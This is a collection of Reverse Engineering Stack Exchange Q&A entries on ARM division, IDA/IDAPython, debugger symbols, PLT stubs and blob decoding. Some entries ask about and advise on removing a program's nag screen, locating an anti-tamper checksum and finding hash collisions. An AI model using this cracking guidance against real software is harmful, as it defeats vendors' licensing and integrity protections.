        "Body": "<p>When performing division on ARM, this is the code snippet that I encountered.</p>\n\n<pre><code>   0x83d8 &lt;main+12&gt;:    mov r3, #10\n   0x83dc &lt;main+16&gt;:    str r3, [r11, #-8]\n   0x83e0 &lt;main+20&gt;:    ldr r3, [r11, #-8]\n=&gt; 0x83e4 &lt;main+24&gt;:    ldr r2, [pc, #40]   ;; 0x8414 &lt;main+72&gt;\n   0x83e8 &lt;main+28&gt;:    smull   r1, r2, r2, r3\n   0x83ec &lt;main+32&gt;:    asr r3, r3, #31\n   0x83f0 &lt;main+36&gt;:    rsb r3, r3, r2\n   0x83f4 &lt;main+40&gt;:    str r3, [r11, #-8]\n</code></pre>\n\n<p>In the original program, I store the value <code>10</code> to a variable, divide it by <code>3</code> and store it in the same variable.</p>\n\n<p><code>[r11, #-8]</code> in the above example has the value <code>0xa</code>. After <code>0x83e4</code>, r2 is loaded up as <code>0x55555556</code>. My doubts are as follows :-</p>\n\n<ol>\n<li>Is this a common way of performing division without the <code>div</code> instruction?</li>\n<li>What are the other ways you have encountered in which division is performed without using an instruction that performs division?</li>\n</ol>\n",
        "Title": "Division on ARM",
        "Tags": "|arm|",
        "Answer": "<p>Optimizing compilers will typically use the method above for compiling division by a constant.</p>\n<p>You can read more about it at the following links:</p>\n<ul>\n<li><a href=\"https://web.archive.org/web/20160114090130/http://blogs.msdn.com/b/devdev/archive/2005/12/12/502980.aspx\" rel=\"nofollow noreferrer\">Integer division by constants</a></li>\n<li><a href=\"https://reverseengineering.stackexchange.com/questions/1397/how-can-i-reverse-optimized-integer-division-modulo-by-constant-operations\">How can I reverse optimized integer division/modulo by constant operations?</a></li>\n<li><a href=\"http://www.nynaeve.net/?p=115\" rel=\"nofollow noreferrer\">Compiler tricks in x86 assembly</a></li>\n</ul>\n"
    },
    {
        "Id": "8999",
        "CreationDate": "2015-05-27T11:53:11.680",
        "Body": "<p>I have a program which converts file to blob in sqlite database. It uses QT framework. I can normally save the file from the database but only through its GUI (which is really painful).\nI want to be able to decode the blob in sqlite to the original file.\nI have attached the original and encoded file here <a href=\"https://drive.google.com/file/d/0B2BLH3kVAYbgQVVzTTFRRzNHMlk/view?usp=sharing\" rel=\"nofollow\">link</a>\n(click download button)\nIt is likely using qtarray and qstring but I am not sure. It seems also that the header is removed while encoding.\nI would really appreciate your help. </p>\n",
        "Title": "decoding blob into original file",
        "Tags": "|decryption|",
        "Answer": "<p>The blob file is compressed with zlib, so you have to decompress it first. The first 4 bytes of the blob is the decompressed size and the compressed content start at 6th byte.<p>\nAfter the decompression you got binary file starting with <code>0xDEADBEAF</code> (in big-endian, marked as yellow in the figure). After it you can find some header parameters, one of the <code>0x22</code> (marked as green) is the number of rows.<p>\nAfter the header you can find the row data as 32-bit float (<a href=\"http://www.binaryconvert.com/result_float.html?hexadecimal=BFBF589F\" rel=\"noreferrer\">see float conversion here</a>):</p>\n\n<pre><code>6 = 06\n0.756431 = 0x3f41a578\n-1.494892 = 0xbfbf589f\n</code></pre>\n\n<p><img src=\"https://i.stack.imgur.com/Chx2n.png\" alt=\"Decompressed blob\"></p>\n"
    },
    {
        "Id": "9005",
        "CreationDate": "2015-05-27T17:50:30.937",
        "Body": "<p>Some instructions in a binary do not belong to a function, or, IDA does not manage to recover one. See for example the red addresses in the below screen shot.</p>\n\n<p>Yet, one can right-click such 'function-less' addresses and selct <code>Create function</code> from the menu (see below screenshot).</p>\n\n<p>Are there any side effects of creating a function from 'function-less' instructions? For example, does it change instructions, symbols, variables, etc.? Does it change IDA-generated xrefs and thus has an effects on a static control flow analysis?</p>\n\n<p>I am asking because I have to work with an algorithm that can only process instructions which belongs to a function. My idea was to go through the binary and keep creating functions until all 'function-less' instructions belong to a function. </p>\n\n<p>Do you see any possible disadvantages of this approach?</p>\n\n<p><img src=\"https://i.stack.imgur.com/ul8Al.png\" alt=\"enter image description here\"></p>\n",
        "Title": "IDA Pro: Side effects or disadvantages of \"Create function\"",
        "Tags": "|ida|disassembly|idapython|static-analysis|",
        "Answer": "<p>There is another point that might be problematic.\nSometimes on some platforms IDA does not recognize code areas correctly and defines data as a code in complicated functions or complicated code at all. Defining this code as a function may insert it to auto-analysis queue and all incorrectly defined references from this mistakenly recognized code may break another functions. This problem also occurs when working with obfuscated code.</p>\n\n<p>Unfortunately as @Guntram Blohm said, the functions that called indirectly might be not recognized as such, so the solution for this problem is still needed. I'd suggest a bit better algorithm for creating such functions:\nDon't convert each instruction to function automatically.\nFind all function prologues instead (for example something like 2 pushes in the functions on your picture), and try to create a function where you can recognize this prologue only.</p>\n\n<p>It can be done with IDAPython by using function <code>idc.MakeFunction(prologue_address)</code> without second parameter. In such case IDA will try to define function borders automatically. </p>\n"
    },
    {
        "Id": "9006",
        "CreationDate": "2015-05-27T18:21:38.267",
        "Body": "<p>I know Immdbg already recognizes Windows internals function names, like kernel32.dll and user32.dll</p>\n\n<p>What I want is to load Internet Explorer symbols the same way WinDbg does. Does someone knows it is possible, like mshtml.dll?</p>\n\n<p><img src=\"https://i.stack.imgur.com/73Ijg.png\" alt=\"enter image description here\"></p>\n",
        "Title": "Load IE symbols in Immunity Debugger",
        "Tags": "|immunity-debugger|debugging-symbols|",
        "Answer": "<p>Immunity Debugger 1.60 and above supports loading of PDB Symbol files both locally or from a symbol server. In order to enable it.</p>\n\n<ol>\n<li>Go to <em>Debug</em> menu -> <em>Debugging Symbol Options</em>.</li>\n</ol>\n\n<p><img src=\"https://i.stack.imgur.com/IKvFU.png\" alt=\"enter image description here\"></p>\n\n<ol start=\"2\">\n<li>Provide the local path to the symbol files or to a symbol server.</li>\n</ol>\n\n<p><img src=\"https://i.stack.imgur.com/dW7E9.png\" alt=\"enter image description here\"></p>\n\n<hr>\n\n<p><strong>UPDATE</strong></p>\n\n<p>If ImmDbg successfully loaded the pdb symbol for the specified file, you would get a message in the logs in the form <code>Debugging Information (DIA Format) available</code> below the dll loading event. See the image below for reference.</p>\n\n<p><img src=\"https://i.stack.imgur.com/Pmoo3.png\" alt=\"enter image description here\"></p>\n\n<p>If even after all this, you cannot load the appropriate symbol for a file, then </p>\n\n<ol>\n<li>You may have misconfigured the symbol path.  </li>\n<li>In case of local symbol, the PDB file present on the system does not match with the PE.</li>\n<li>In case of symbol server, appropriate PDB file could not be found.</li>\n</ol>\n\n<p>In such a case you can run the <em>symcheck</em> tool provided with windbg. Example usage</p>\n\n<pre><code>C:\\Program Files\\Debugging Tools for Windows (x86)&gt;symchk C:\\WINDOWS\\system32\\kernel32.dll /s C:\\WINDOWS\\Symbols\n\nSYMCHK: FAILED files = 0\nSYMCHK: PASSED + IGNORED files = 1\n\nC:\\Program Files\\Debugging Tools for Windows (x86)&gt;symchk C:\\WINDOWS\\system32\\mshtml.dll /s C:\\WINDOWS\\Symbols\nSYMCHK: mshtml.dll           FAILED  - mshtml.pdb mismatched or not found\n\nSYMCHK: FAILED files = 1\nSYMCHK: PASSED + IGNORED files = 0\n</code></pre>\n\n<hr>\n\n<p><strong>UPDATE 2</strong></p>\n\n<p>Screenshot of Immunity Debugger with symbols for <em>mshtml.dll</em> loaded. This is taken from Windows XP SP3.</p>\n\n<p><img src=\"https://i.stack.imgur.com/cSzrH.png\" alt=\"enter image description here\"></p>\n\n<p><strong>Other Info</strong>: ImmDbg could not download symbols from the MS Symbol Server, so had to use the symcheck tool to download symbol for <em>mshtml.dll</em> .</p>\n\n<pre><code>symchk /r c:\\windows\\system32\\mshtml.dll /s SRV*c:\\symbols\\*http://msdl.microsoft.com/download/symbols \n</code></pre>\n\n<p>The symbol directory should look like this.</p>\n\n<pre><code>C:\\symbols&gt;dir\n Volume in drive C has no label.\n Volume Serial Number is 042A-A7E6\n\n Directory of C:\\symbols\n\n06/05/2015  12:39 PM    &lt;DIR&gt;          .\n06/05/2015  12:39 PM    &lt;DIR&gt;          ..\n04/15/2008  09:21 AM         7,965,696 mshtml.pdb\n06/05/2015  11:17 AM                 0 pingme.txt\n</code></pre>\n\n<p>Next, pointed ImmDbg to <code>C:\\symbols\\</code>. Used <em>loaddll</em> to load <em>mshtml.dll</em> and it automatically picked up the symbol on loading. This can also be seen in the logs.</p>\n\n<p><img src=\"https://i.stack.imgur.com/NymMI.png\" alt=\"enter image description here\"></p>\n"
    },
    {
        "Id": "9007",
        "CreationDate": "2015-05-27T19:10:11.633",
        "Body": "<p>I would like to remove a nag screen from a popular program. To do this I need to make sure the screen never gets called. So, the first task is to find the actual location of the nag (where it is called from). None of the strings in the nag screen seemed to show up in Ollydbg's string search. The only thing I managed to find on my own was the window of the nag in OllyDBG's window references, but I'm not sure if it was very useful.</p>\n\n<p>What methods are commonly used to find the call locations of nag screens? If you guys set me on the right path, I'm sure I can figure out the rest on my own. :)</p>\n\n<p>Some extra info: the program seems to have been developed in .Net, the title of the nag showed up in the window reference list of OllyDBG but I couldn't find it in the string search.</p>\n\n<p>Second edit: I don't think it's .net. I tried doing \u00b4tasklist /m \"mscor*\"\u00b4, but it didn't show up (which it probably should have, if it's .net)</p>\n",
        "Title": "Methods of discovering the location of nag/pop-up screens besides string search?",
        "Tags": "|ollydbg|.net|",
        "Answer": "<p><strong><em>EDIT:</strong> The OP updated his question yesterday to say that he's dealing with a .NET application, so the advice below no longer applies. I'll leave this answer here though since it might help others for Win32 applications.</em></p>\n\n<p>Try setting breakpoints on API functions that might be used to create the nag screen.</p>\n\n<p>For example, (from <a href=\"http://www.woodmann.com/krobar/beginner/p03_8.html\" rel=\"nofollow\">http://www.woodmann.com/krobar/beginner/p03_8.html</a>):</p>\n\n<ul>\n<li><code>CreateWindow()</code></li>\n<li><code>CreateWindowEx()</code></li>\n<li><code>ShowWindow()</code></li>\n<li><code>UpdateWindow()</code></li>\n<li>etc.</li>\n</ul>\n"
    },
    {
        "Id": "9016",
        "CreationDate": "2015-05-29T09:12:29.940",
        "Body": "<p>Is there a way to specify the name of a function when creating it with <code>idc.MakeFunction()</code>?</p>\n\n<p>If not, what is the best practice to rename a function?\nI found <code>idc.GetFunctionName(ea)</code> but no counterpart to set a name. A google research turned up some examples where people used <code>idc.MakeNameEx()</code>. Yet, the purpose of <code>MakeNameEx</code>seems to be to rename addresses:</p>\n\n<pre><code>def MakeNameEx(ea, name, flags): \"\"\" Rename an address\n\n@param ea: linear address\n@param name: new name of address. If name == \"\", then delete old name @param\nflags: combination of SN_... constants\n</code></pre>\n\n<p>And involves a whole bunch of flags such as:</p>\n\n<pre><code>[...]\nSN_NOCHECK    = idaapi.SN_NOCHECK    # Replace invalid chars with SubstChar\nSN_PUBLIC     = idaapi.SN_PUBLIC     # if set, make name public \nSN_NON_PUBLIC = idaapi.SN_NON_PUBLIC # if set, make name non-public \nSN_WEAK       = idaapi.SN_WEAK       # if set, make name weak \nSN_NON_WEAK   = idaapi.SN_NON_WEAK   # if set, make name non-weak\n[...]\n</code></pre>\n\n<p>What I need is a simple rename of a function keeping all its properties, flags etc...</p>\n",
        "Title": "Setting name of (newly created) functions via IDAPython",
        "Tags": "|ida|idapython|",
        "Answer": "<p><code>idc.MakeName(ea, name)</code> should suffice.</p>\n\n<p>Note that the flags accepted by <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/203.shtml\" rel=\"noreferrer\"><code>MakeNameEx()</code></a> don't change the function's properties or function's flags; they're instead used with regard to how the naming itself is handled.</p>\n"
    },
    {
        "Id": "9023",
        "CreationDate": "2015-05-29T22:11:40.800",
        "Body": "<p>I have an dll that is loaded into a 64 bit process, it performs two check sums (at least) one to keep up to date (it receives a 13 character long string from the net which I'm fairly certain is an in house hash as it never changes and doesn't seem to corespond to any hash pattern I can think of 11 numbers 2 uppercase letters at the end) and the other to defeat people trying to patch/analyze behaviour of different execution paths, it will refuse to run if it's checksum is different than the expected one. I tested this by hex editing a string the program uses which resulted in the dll never running, patching it during runtime with a memory editor did work.\nI guess the real question is how would I go about identifying where the checksumming happens, what are the common imports I should be hunting using IDA etc.</p>\n",
        "Title": "finding a checksum function using static analysis (IDA)",
        "Tags": "|ida|static-analysis|dll|",
        "Answer": "<p>It really depends on the program. You mentioned that it receives a saved checksum from the net and checks it against the computed value - one way you could do this is to look for recv() calls (or whatever function they use to handle incoming packets). </p>\n\n<p>I will say that it would probably be much quicker to do this dynamically rather than statically. If you set a breakpoint on the packet handling function, you should be able to find where the check is occurring relatively easily (it should occur very soon after the 13 byte string is received). From there, you can work backwards and see where the computed value came from - if it's a pointer to the value, you can set a memory access breakpoint and run it again; if it's just the value, you can see how it was pushed onto the stack/accessed.</p>\n\n<p>If you're dead set on doing it statically, good luck. Because it doesn't change from run to run, it's probably some kind of binary operation on the program - either a CRC or weak hash would be my guess.</p>\n"
    },
    {
        "Id": "9033",
        "CreationDate": "2015-05-31T03:06:51.773",
        "Body": "<p>when I disassemble an OpenCV dynamic library file (<code>libopencv_imgproc.so</code>), I find that there are a lot of <code>bl</code> instructions which target address are in the <code>.plt</code> section. But, I could'n find its symbol info. </p>\n\n<pre><code>00110ee0 &lt;cvResize&gt;:\n  110ee0:   b5f0        push    {r4, r5, r6, r7, lr}\n  110ee2:   4603        mov r3, r0\n  110ee4:   b0bf        sub sp, #252    ; 0xfc\n  ...\n  110ef4:   4ca8        ldr r4, [pc, #672]  ; (111198 &lt;cvResize+0x2b8&gt;)\n  110ef6:   9500        str r5, [sp, #0]\n  110ef8:   f70e ebda   blx 1f6b0 &lt;_init+0x2b4&gt;\n  ...\n</code></pre>\n\n<p>I could not find the address <code>1f6b0</code> in the <code>.text</code> section. It actually is in the <code>.plt</code> section. However, I couldn't find it in the symbol table.\nHow can I get these missed symbol info?</p>\n",
        "Title": "How to recognize the function call in a dynamic lib?",
        "Tags": "|arm|dynamic-linking|",
        "Answer": "<p>Doing it the hard way:</p>\n\n<ol>\n<li><p>disassemble the target PLT stub and figure out what pointer it's using. E.g.:</p>\n\n<pre><code>359dc:  e28fc601    add ip, pc, #1048576    ; 0x100000\n359e0:  e28ccaa2    add ip, ip, #663552 ; 0xa2000\n359e4:  e5bcf900    ldr pc, [ip, #2304]!    ; 0x900\n</code></pre>\n\n<p>Here, the <code>ip</code> will be: <code>0x359e4+0x100000+0xa2000 = 0x1D79E4</code>, so the last <code>LDR</code> will dereference <code>1D79E4+0x900 = 0x1D82E4</code>.  </p></li>\n<li><p>look up the address in the list of relocs (<code>objdump -dr</code>):</p>\n\n<pre><code>001d82e4  00005216 R_ARM_JUMP_SLOT   00000000   _ZN2cv10cvarrToMatEPKv\n</code></pre></li>\n</ol>\n\n<p>Doing it the easy way:</p>\n\n<ol>\n<li><p>Just use IDA :), or at least a newer <code>objdump</code> <a href=\"http://www.sourceware.org/ml/binutils/2004-04/msg00469.html\" rel=\"nofollow\">which knows about PLT stubs</a>.</p>\n\n<pre><code>000359dc &lt;_ZN2cv10cvarrToMatEPKvbbi@plt&gt;:\n</code></pre></li>\n</ol>\n\n<p>Please note that <code>objdump</code> relies on the fact that the order of PLT stubs usually matches the order of relocations in the PLT reloc list. In theory, one can patch a PLT stub after linking so it uses another symbol's pointer.</p>\n"
    },
    {
        "Id": "9034",
        "CreationDate": "2015-05-31T11:08:47.167",
        "Body": "<p>I'm trying to make a search request with NetEase Cloud Music's API. I have found the URL used for sending a search request over <code>POST</code> which is: <code>http://music.163.com/api/search/get/web</code> with x-www-form-urlencoded data: <code>hlpretag=%3Cspan+class%3D%22s-fc56%22%3E&amp;hlposttag=%3C%2Fspan%3E&amp;s=ruslana&amp;type=1&amp;offset=0&amp;total=false&amp;limit=10</code>.</p>\n<p>Sending this request over produces a result like so:</p>\n<pre><code>{&quot;result&quot;:&quot;35b1748964afb6f6ab00803a07621642b1748964af8a7c1d883e3a6f3c773b3d42235da0ba9784a095beda502ab3e8b43fa71f6d6351854d2abf366ed520854009da31982d912f2f7dd26d69e2de683db1f5a185c8d2e83989d1c4b2c230a8669602ea79ebf70989a5b17264db4dabc8072d65deb133001e1236fd8bb37f850490980a4ed65fb639d5629556eff966c2b187d161ba859c63af417aaa447121564e8a4221525d5f0ac885a70ead44a613a07451cddfed5557af6572390e346375e6a91379f94b8530d942573735179b7bdadd3738e4e298e853ded86951b36d7e68ae593ebc6cad73d4e694d2c8debe3e162f84051dda75f10ff58521eb5d5bbf788a1603da61ded1d0b319e80d4bc73218e93665dd8559e420cdd7a0e74d443cd53b8dc20af99a89b3c14e64d9f9aadfc9cbb0b09db8c150e3ea793a1705fb710806ec39f24283c08489169c97527bafb59baed5215f769c55968829b222b3d320b11aab298da17104ddde48d9a77937a6ff100d5e12928d8917810338a51ebf2ef18c879c10a5b2d9c8f29d7524e70265d96ec9016be793f2bbbe55ec7994bb156a6baeda5c4884e6931731d8e6c0124ab298b518977c54c77cbb0eb601db25807ed2ac0d2eff3852427acd83ba0b38dda735b221467975b957074766912e6ea2b2791020bc4305489df1bb9880b47396d1716d01cff904ce4de0d20a4924e6ff220412dbe8305056463c35f7d22dafa3badffded51ee81b6045f5179f59166ec7f4115ecb5f9bb95e92c870a7f7045f1e7765bed3dbf62a09e963279a8ecb2316e39e2540bbe640b20a29a3098f5918aec7572f49ebcca1a3ae96b31927c2274d39ce6b26dd50d0431666a48649c37764010dc48156980022668fd2cec7b855e3a570464a077ffd1005553fd213111a98c2cb20ce50c59c350695b6c93519fd58ee0464e3ae5744873f1de490b0d6f308d6b05cbe59501028a8c8bd6f9a72d1ea6eae2b3ff4a451dc8413d25d611620f3a40b51019a36c2d2674a610bb2cfd2097c1ff3a91ee3b0b6262102dafc72dfd48ab398dea09e3a5d98c952c6674df981017954d222df1cf422403f032cd441f690be826593a50dbac35cb10b555f440e244b1e84e312f9fc0a4b8f5817a916fa4cb65487a12a4558d1adfa01017c6af5f16e2f9eded9c6bab1f62627fa3b3a313a89eeda80f7f4c408542d14ab3d333c0f915d552aedef29595e692dde790dd3b59de48434ff0d86ea13704fbc6f1c8720e82ee2a319d3b779989337239a8&quot;,&quot;code&quot;:200,&quot;abroad&quot;:true}\n</code></pre>\n<p>I have cut off most of <code>result</code> due to it being colossal. What is the data in <code>result</code> and how is it encoded? Looking through other peoples efforts turns up nothing to contribute either. On <a href=\"https://github.com/grasses/NetEase-Wireless-MusicBox/blob/master/api.py\" rel=\"nofollow noreferrer\">this</a> Github project I've found there's a function for searches, it doesn't seem to do anything significant to the returned data:</p>\n<pre><code> def search(self, s, stype=1, offset=0, total='true', limit=60):\n        action = 'http://music.163.com/api/search/get/web' \n        print self.cookies\n        data = {\n            's': s,\n            'type': stype,\n            'offset': offset,\n            'total': total,\n            'limit': 60,\n            '__csrf': self.cookies['__csrf'],\n        }\n        return self.httpRequest('POST', action, data)\n</code></pre>\n<p>And when you look on the NetEase website itself and look at the API calls after a search, theres nothing, so its not like theres an extra API call involved in getting all the search data either.</p>\n<p>Any input on this would be greatly appreciated.</p>\n",
        "Title": "NetEase Cloud Music: Getting search results in API",
        "Tags": "|websites|api|",
        "Answer": "<p>The answer is embarrassingly simple. Simply remove the <code>/web</code> part of the URL so you end up with something like this: <code>http://music.163.com/api/search/get/</code> and you're good to go.</p>\n"
    },
    {
        "Id": "9035",
        "CreationDate": "2015-05-31T13:38:17.290",
        "Body": "<p>I'm trying to disassemble an application (built from a Chinese company in English).</p>\n\n<p>I find the text string I want:</p>\n\n<pre><code>.data:0041048C aEraseError     db 'Erase error !',0Ah,0 ; DATA XREF:\n.rdata:0040C624o\n.data:0041048C                                         ; .rdata:0040CF28o ...\n</code></pre>\n\n<p>But, I cannot locate it in the code anywhere. It's strange some text strings are found but others are not. </p>\n\n<p>FYI: The application also loads a custom <code>.dll</code> file. The text is located in the main exe file's <code>.rdata</code> segment, but I just cannot see it in the code. I've tried with other disassemblers but I am using IDA.</p>\n",
        "Title": "I cannot find a text string referened in the the .rdata",
        "Tags": "|ida|",
        "Answer": "<p>Your string seems to have an xref (cross reference, see below) from <code>0040C624</code>. This string might just be an entry in an array of error strings, with the array itself beginning just a little before <code>0040C624</code>. Your original source code may have looked like this:</p>\n\n<pre><code>char *unused=\"unused string\";\nchar *errors[] = {\n    \"error 0\",\n    \"some other error\",\n    \"yet another error\",\n    \"Erase error!\",\n    \"....\",\n};\n\nvoid print_error_message(int index) {\n    puts(errors[index]);\n}\n\nint handle_erase_error() {\n    print_error_message(3);\n}\n</code></pre>\n\n<p>If you compile this (i used gnu C on linux, <code>gcc -m32 xref.c</code>) and load the object code into IDA, it becomes (irrelevant parts omitted):</p>\n\n<pre><code>.text:08000000 print_error_message proc near           ; CODE XREF: handle_erase_error+Dp\n.text:08000000                 push    ebp\n.text:08000001                 mov     ebp, esp\n.text:08000003                 sub     esp, 18h\n.text:08000006                 mov     eax, [ebp+8]\n.text:08000009                 mov     eax, errors[eax*4]\n.text:08000010                 mov     [esp], eax      ; s\n.text:08000013                 call    puts\n.text:08000018                 leave\n.text:08000019                 retn\n.text:08000019 print_error_message endp\n\n\n.data:08000030 unused          dd offset aUnusedString ; \"unused string\"\n.data:08000034 errors          dd offset aError0       ; DATA XREF: print_error_message+9r\n.data:08000034                                         ; \"error 0\"\n.data:08000038                 dd offset aSomeOtherError ; \"some other error\"\n.data:0800003C                 dd offset aYetAnotherErro ; \"yet another error\"\n.data:08000040                 dd offset aEraseError   ; \"Erase error!\"\n.data:08000044                 dd offset a____         ; \"....\"\n\n.rodata:08000049 aUnusedString   db 'unused string',0    ; DATA XREF: .data:unusedo\n.rodata:08000057 aError0         db 'error 0',0          ; DATA XREF: .data:errorso\n.rodata:0800005F aSomeOtherError db 'some other error',0 ; DATA XREF: .data:08000038o\n.rodata:08000070 aYetAnotherErro db 'yet another error',0 ; DATA XREF: .data:0800003Co\n.rodata:08000082 aEraseError     db 'Erase error!',0     ; DATA XREF: .data:08000040o\n.rodata:0800008F a____           db '....',0             ; DATA XREF: .data:08000044o\n</code></pre>\n\n<p>You see that each string has a pointer entry in the <code>data</code> section, and the ascii data in the <code>rodata</code> (read only data) section. And each of the ascii strings has an xref (cross reference) to the pointer that points to it - this is not a part of the binary; ida detects where each string is referenced, and generates the \"backreferences\", or xrefs.</p>\n\n<p>The important thing is: you can use this to find the string table (errors, at <code>0x08000034</code>) if you have only the ascii bytes. And you can find where the string table itself is used by looking at its xref - from the print_error_message function. In contrast, the unused string does <em>not</em> have an xref, because it isn't used anywhere.</p>\n\n<p>Ida will allow you to double-click on the xref to move to where it 'comes from' to navigate easily.</p>\n\n<p>I'd check if you have an array of strings that starts a bit before the xref to your string, where it gets used, and possibly where the using function gets called.</p>\n\n<hr>\n\n<p>Another possibility is something that i saw a few days ago in an ARM android shared library. The library had some strings holding function names, directly after each other, like this (translated to x86 syntax)</p>\n\n<pre><code>errmsg    db 'Error in %s, file %s, line %d\\n', 0\nstrtab    db 'opencachefile', 0\n          db 'closecachefile', 0\n          db 'getcacheentry', 0\n          db 'putcacheentry', 0\n          db 'delcacheentry', 0\n</code></pre>\n\n<p>The function that got something from cache used the third of these strings to log a possible error. The code looked like this (again, translated from arm to x86):</p>\n\n<pre><code>...\nmov    eax, offset strtab\nadd    eax, 29           ;&lt;-- difference in bytes between 'open' and 'get'\npush   eax\nmov    eax, offset errmsg\npush   eax\ncall   android_log_print\n</code></pre>\n\n<p>The other functions had similar constructs, so <code>strtab</code> was referenced 5 times (one in each function), and the byte difference adjusted in each of them. I sincerely don't know why a compiler would do this, but just <em>maybe</em> something similar is going on in your code.</p>\n"
    },
    {
        "Id": "9040",
        "CreationDate": "2015-06-01T14:00:03.133",
        "Body": "<p>Say given the following line in Ida Pro:</p>\n\n<pre><code>mov     [rsp+3F8h+var_3F8], 0\n</code></pre>\n\n<p>How can I parse and access the items inside the <code>[ ]</code>?\nWhat I tried:</p>\n\n<ul>\n<li><code>idc.GetOpnd(addr, n)</code>         # returns a string '<code>[rsp+3F8h+var_3F8]</code>'</li>\n<li><code>idc.GetOperandValue(addr, n)</code> # returns <code>4</code>, which is explained in the <a href=\"https://code.google.com/p/idapython/source/browse/trunk/python/idc.py\" rel=\"noreferrer\">idc.py</a> file as follows</li>\n</ul>\n\n<blockquote>\n  <p>def GetOperandValue(ea, n):\n  \"\"\" <br>\n  Get number used in the operand</p>\n  \n  <p>This function returns an immediate number used in the operand</p>\n  \n  <p>@param ea: linear address of instruction @param n: the operand number</p>\n  \n  <p>@return:</p>\n  \n  <p>value operand is an immediate value => immediate value</p>\n  \n  <p>operand has a displacement => displacement</p>\n  \n  <p>operand is a direct memory ref => memory address</p>\n  \n  <p>operand is a register => register number</p>\n  \n  <p>operand is a register phrase => phrase number </p>\n  \n  <p>otherwise => -1 <br>\n  \"\"\"</p>\n</blockquote>\n\n<p>How can I access the elements of the 'phrase', i.e. the <code>rsp</code>, <code>3F8h</code>, and <code>var_3F8</code>? I am looking for something like this:</p>\n\n<pre><code>my_op_phrase = idc.ParseOperandPhrase(ea, n)\nmy_op_phrase[0] #-&gt; 'rsp'\nmy_op_phrase[0].type #-&gt; idaapi.o_reg\n\nmy_op_phrase[1] #-&gt; 0x3F8h\nmy_op_phrase[1].type #-&gt; idaapi.o_imm\n\nmy_op_phrase[2] #-&gt; 'var_3F8'\n\u2026\n</code></pre>\n\n<p>Is this even possible or am I misunderstanding something?</p>\n",
        "Title": "Ida Pro: parsing complex operand expression using IDAPython",
        "Tags": "|ida|disassembly|idapython|",
        "Answer": "<p>Assuming <code>addr</code> is the EA of <code>mov [rsp+3F8h+var_3F8], 0</code>:</p>\n\n<pre><code>re.findall('\\[(.*)\\]', idc.GetDisasm(addr))[0].split('+')\n</code></pre>\n\n<p>yields the list</p>\n\n<pre><code>['rsp', '3F8h', 'var_3F8']\n</code></pre>\n"
    },
    {
        "Id": "9046",
        "CreationDate": "2015-06-02T10:37:33.603",
        "Body": "<p>I'm trying to remove a nag screen. Its window style is 16C80000, which should translate to <code>WS_VISIBLE | WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_CAPTION | WS_SYSMENU</code>. So, in the call to CreateWindowExW() I set a conditional breakpoint at <code>PUSH EAX</code>, which determines the style. <br/>\nThe conditions I tried were <code>[EAX] == 16C80000</code> and <code>[EAX] == WS_VISIBLE | WS_CLIPCHILDREN | WS_CLIPSIBLINGS | WS_CAPTION | WS_SYSMENU</code>. Both give the same results. <br/>\nWhat happens is that the conditional breakpoint pretty much acts as a normal breakpoint I think. I get breakpoints at <code>Style = WS_POPUP</code>, and many other styles which I didn't specify. What I'd like is to find out what I'm doing wrong so that I can find the call to that goddamn nag :)<br/>\n<img src=\"https://i.gyazo.com/e04bae3cdaecec0531553e372c5be442.png\" alt=\"Screenshot\"></p>\n",
        "Title": "False positives with conditional breakpoint in OllyDBG",
        "Tags": "|ollydbg|breakpoint|",
        "Answer": "<p>if you are setting a breakpoint on the specific address 0x412d18 you must make sure that the specific address will be hit ( setting a breakpoint on a specific address and expecting it to break on CreateWindowCalls is not going to work )</p>\n\n<p>to set a common breakpoint to catch all CreateWindow Calls you should set a breakpoint on system dll  (user32.dll)</p>\n\n<p>you should use a stack expression for the conditional break  [esp+XXX] == 0x16xxxxxx</p>\n\n<p>here is a sample on winxpsp3 mspaint.exe </p>\n\n<pre><code>Breakpoints\nAddress    Module     Active                           Disassembly        Comment\n7E42D0A3   USER32     Log when [esp+10] == 44008200    MOV     EDI, EDI\n</code></pre>\n\n<p>the bp is set on </p>\n\n<pre><code>7E42D0A3 USER32.CreateWindowExW [esp+10] == 44008200 /$ 8BFF MOV EDI, EDI\n</code></pre>\n\n<p>never pause<br>\nbreak on condition<br>\nlog always<br>\ncondition [esp+10] = xxxxxxxx<br>\nexpression [esp+10]     </p>\n\n<p><img src=\"https://i.stack.imgur.com/mE9gm.png\" alt=\"enter image description here\"></p>\n\n<p>result as follows</p>\n\n<pre><code>Log data\nMessage\n\nCOND: style = = 88000000\n\nCOND: style = = 02CFC000\nCOND: style = = 52000000\nCOND: style = = 54000000\nCOND: style = = 5400014E\nCOND: style = = 56002800\nCOND: style = = 56008200\nCOND: style = = 56001400\nCOND: style = = 56004100\nCOND: style = = 44001430\nCOND: style = = 44008200  &lt;------- broken and function args logged for my specific condition\nCALL to CreateWindowExW from MFC42u.5F811CB2\n  ExtStyle = 0\n  Class = \"AfxWnd42u\"\n  WindowName = \"Colors\"\n  Style = WS_CHILD|WS_CLIPSIBLINGS|8200  &lt;------------\n  X = FFFFFEFD (-259.)\n  Y = FFFFFFCD (-51.)\n  Width = 103 (259.)\n  Height = 33 (51.)\n  hParent = 00080226 ('Paint',class='MSPaintApp')\n  hMenu = 0000E818\n  hInst = 01000000\n  lParam = NULL\n</code></pre>\n"
    },
    {
        "Id": "9047",
        "CreationDate": "2015-06-02T10:54:20.797",
        "Body": "<p>I have the following hash algorithm:</p>\n\n<pre><code>    unsigned long specialNum=0x4E67C6A7;\n    unsigned int ch;\n    char inputVal[]=\"                        AAPB2GXG\";\n\n\n    for(int i=0;i&lt;strlen(inputVal);i++)\n    {\n        ch=inputVal[i];\n\n        ch=ch+(specialNum*32);\n        ch=ch+(specialNum/4);\n\n        specialNum=bitXor(specialNum,ch);\n    }\n\n    int outputVal=specialNum;\n</code></pre>\n\n<p>The bitXor simply does the Xor operation:</p>\n\n<pre><code>int bitXor(int a,int b)\n{\n    return (a &amp; ~b) | (~a &amp; b);\n}\n</code></pre>\n\n<p><strong>Now I want to find an Algorithm that can generate an \"inputVal\"</strong> when the outputVal is given.(The generated inputVal may not be necessarily be same as the original inputVal.That's why I want to find collision).\nThis means that I need to find an algorithm that generates a solution that when fed into the above algorithm results same as specified \"outputVal\".\nThe length of solution to be generated should be <strong>less than or equal to 32</strong>.</p>\n",
        "Title": "How do I find a collision for a simple hash algorithm",
        "Tags": "|c++|c|static-analysis|patch-reversing|hash-functions|",
